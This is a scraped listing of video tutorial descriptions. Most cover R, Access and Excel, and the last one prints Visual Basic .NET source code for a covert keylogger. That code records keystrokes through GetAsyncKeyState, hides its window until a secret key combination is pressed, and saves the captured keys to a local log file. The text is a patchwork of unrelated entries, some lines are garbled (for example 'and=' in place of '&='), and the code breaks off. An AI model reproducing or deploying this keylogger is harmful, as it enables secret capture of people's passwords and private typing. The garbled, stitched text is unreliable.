Title: R project (español) - Importar archivos (excel, csv, txt...)
Video:
Description:Como leer bases de datos usando r. Como editar datos en r. Como leer spreadsheet de Excel (2007 y anteriores). Comandos: read.table read.csv library(RODBC) odbCconnectExcel
Title: Microsoft Access 2007 Database Tutorial - Trust Center Locations
Video:
Description:www.myaccessvideos.com. Ths free Microsoft Access 2007 Database Tutorial solves the issue of the "Security Warning Certain content in the database has been disabled" This short training video will show you how to add a trusted location to ms access. After adding a trusted location the warning message will disappear and your macros and code will not work properly without hitting options everytime.
Description:expertoenexcel.wordpress.com Cómo ingresar datos en Excel, empieza a trabajar con Excel fácil. Con este videotutorial, aprenderás a ingresar correctamente datos en Excel, además de aprender a sumar ya dar un formato sencillo a tu tabla.
Description:Excel Invoice Template Software Invoice Generator provides a simple and effective business tool to create, manage and track invoices for your customers. The system allows for the storage of customer details, product descriptions and service costs along with exchange rate functionality that enables invoices to be created for international clients. With a few simple steps you can begin creating professional invoices including your company logo using Invoice Generator
Description:This tutorial will teach you how to make a very basic keylogger in VB.net. You will need to add the button, textbox and timers then use the code below: Option Strict On Public Class Form1 Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key = Nothing Then Exit Sub End If If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then tbLog.Text and= key Else tbLog.Text and= key.ToLower End If If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then Me.Show() End If End Sub Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click Me.Hide() End Sub Private Sub timerSave_Tick() Handles timerSave.Tick My.Computer.FileSystem.WriteAllText("C:\HP\Log.txt", tbLog.Text, True) tbLog.Clear() End Sub Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed tbLog.Text and= vbNewLine and "Closed at: " and Now and vbNewLine timerSave_Tick() End Sub Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load tbLog.Text = "Started at: " and Now ...
